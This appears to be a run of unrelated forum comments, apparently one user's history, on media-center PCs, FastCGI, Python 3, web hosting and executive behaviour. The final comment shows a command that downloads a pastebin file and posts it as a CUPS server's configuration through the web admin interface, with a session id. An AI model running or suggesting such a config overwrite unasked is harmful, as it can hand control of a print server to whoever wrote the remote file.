The bigger problem with running on a PC is UI. No longer will it work well with a simple remote that only needs 10 buttons.

It's definitely less ergonomic but I successfully trained my extremely non-technical wife to use a VNC client on her phone to control the media center PC so she can watch streaming/youtube with an adblocking browser.

If you go to the trouble of setting up a media server and Kodi/Plex on the TV, and install a barebones launcher that avoids all the ads on the official launcher, the remote still works well. I don't know whether to blame Sony or Google but every system update brought bigger and bigger ads to the point that I took an afternoon off to sideload an extremely plain ad-free launcher.

I had a media center PC that was usable with a remote control in 2008.

Choke full of XVID cams, I bet

Well, yes, but we hear quite a bit about China or Russia or North Korea or wherever attacking us.

I've quite literally seen people ask "why don't we attack them back?"

Maybe we don't hear about it because they write about it in private and/or in foreign languages lol.

Not having to spawn a new process greatly decreases the time it takes to process a request, which greatly increases the amount of requests you can serve with a given amount of hardware.

These days everything that would've been CGI is now FastCGI (even PHP). Or in other words, run one server whose only job is to reverse-proxy requests to another server over a slightly different protocol.

It can be used in shared scenarios, but it's nowhere near as automatic as "every file with a particular extension" like PHP...

Honestly, py3 wasn't a compelling replacement until distros started setting dates to remove py2.

Or you can just pay someone to host it and maintain and support the web server for you, for a lot cheaper (often free, like Github Pages).

I would hope that this would cause more people to realize that allowing total control of the things you use to be centralized in one person (or business) is bad, but well... quite similar things have happened to plenty of other open source projects before.

So they throw Cloudflare in front of it and get defaced yearly. I've worked for companies (thankfully not in a position dealing with the website) that did just that. Somehow they're even still around a decade later. To be fair though that was actually Bluehost, not a VPS.

At best, "serious" businesses (which I take to mean large, successful ones) pretend to take EQ seriously.

Engaging with reality as directly as possible is important in business. Emotions are a part of reality, usually a signal about social dynamics.

At the higher levels of serious companies — by which I mean ones trying to win in the market, regardless of size - managers and executives regularly receive training about this.

I can’t say more because this is my alt, but: “executives are childish”, “executives are psychopaths”, etc. are very common, often incorrect narratives. If anything executives should be straightforward and simple.

To return to topic: something is going seriously sideways with Matt, and I wish him the best.

> If anything executives should be straightforward and simple.

Except they almost NEVER are, in fact, the most common trait shown by executives is dishonesty.

Really? That does not sound like an opinion derived from real data.

> # sorry for this being so long, i have no way to format it sanely x.x

Here ya go, I fixed it (or just see the pastebin link if you're curious what it says):

    wget -O conffile https://pastebin.com/raw/eGfKdvh8
    curl ... \
      --data-urlencode 'org.cups.sid=1862ff74a0c01dd0fb444934e7e67e05' \
      --data-urlencode 'OP=config-server' \
      --data-urlencode "CUPSDCONF@conffile" \
      --data-urlencode 'SAVECHANGES=Save+Changes' >/dev/null